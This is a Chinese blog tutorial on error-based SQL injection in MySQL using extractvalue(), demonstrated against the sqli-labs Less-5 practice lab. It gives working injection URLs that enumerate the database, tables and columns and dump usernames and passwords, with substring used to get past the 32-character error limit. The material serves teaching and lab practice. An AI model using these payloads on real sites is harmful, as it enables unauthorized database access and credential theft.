extractvalue报错注入理论及实战

报错注入

什么是报错注入

构造语句,让错误信息中夹杂可以显示数据库内容的查询语句,返回报错提示中包括数据库中的内容

如上图所示,通过group by的报错,我们可以知道列数是多少

输入正确的查询数据库的SQL语句,虽然可以执行成功,但是页面不显示数据库的名称

我们故意将database写为databasa,此时数据库的名称security在报错信息中显示了出来

因此可以利用报错的信息得到我们想要的信息。

1.通过floor()报错注入

2.通过extractvalue()报错注入

3.通过updatexml()报错注入

通过extractvalue()报错注入

extractvalue包含两个参数,第一个参数XML文档对象名称,第二个参数 路径

select extractvalue(doc,'/book/author/surname') from xml;

把查询参数格式符号写错

select extractvalue(doc,'`book/title') from xml;

可以看到'~book/title'在报错的时候是可以回显出来的,如果将这个地方换成SQL语句,他也会将结果以报错的形式反馈出来。

select extractvalue(doc,concat(0x7e,(select database()))) from xml;

错误提示成功报错出我们要查询的内容

extractvalue(1,2)//两个参数

concat(1,2)//两个参数

(select database())//要把命令写到括号里面,之后可以直接使用替换括号内容的方式进行查询。黄色括号里面

报错注入:一次只能返回32个字符问题,解决此问题可以使用substring函数

substring(1,2,3)三个参数,第一个参数是内容,第二个参数是要从第几个开始截取,第三个参数是要截取多少个

?id=1' and 1=extractvalue(1,concat(0x73,(select substring(group_concat(username,'-',password),25,30)from users))) --+

1.数据库 security
2.数据库 http://sqli-labs:8088/Less-5/?id=1' union select extractvalue (1,concat(0x7e,(select database())))  --+ 
3.数据表 http://sqli-labs:8088/Less-5/?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))  --+ 
4.数据段 http://sqli-labs:8088/Less-5/?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))  --+ 
5.查询内容 http://sqli-labs:8088/Less-5/?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select group_concat(username,'-',password) from security.users)))  --+ 
6.截取内容 http://sqli-labs:8088/Less-5/?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select substring(group_concat(username,'-',password),30,60) from security.users)))  --+ 
本次注入sqli-labs靶场的Less-5

首先按照页面提示,get请求拼接?id=1尝试,发现页面显示You are in......... 页面可以正常显示

按照我们注入的顺序,第一步先去分析是字符型还是数字型,如果是字符型要弄清楚闭合方式是什么,我们随便丢一个单引号尝试。根据报错提示,可以看出是字符型注入而且闭合方式是单引号

下一步去判断列数,使用order by函数。列数为3时可以正常显示,由此判定列数为3

构造SQL语句,查询数据库信息,查看回显内容位置,发现命令执行成功,但是页面没有回显内容。

直接尝试报错注入,使用extractvalue函数。构造SQL语句

http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,'~adb') --+

可以看到报错回显了内容信息,可以使用报错注入。

先查数据库,构造SQL语句

http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,concat(0x7e,(select database()))) --+

拿到了数据库名称security

紧接着查询数据表,构造SQL语句

http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))) --+

得到数据表 users,根据经验可以猜出账号与密码都在这个表里面

查询数据表里面的字段,构造SQL语句

http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))) --+

拿到字段:id,username,password

都到这一步了,直接查询username,password这两个字段里面的信息,构造SQL语句

http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(username,'-',password) from security.users))) --+

得到了内容,但是显示的不完整,这是因为报错注入一次只能返回32个字符,直接使用substring函数帮助我们

http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,concat(0x7e,(select substring(group_concat(username,'-',password),30,30) from security.users))) --+

注入完成!

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

孙其龙

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值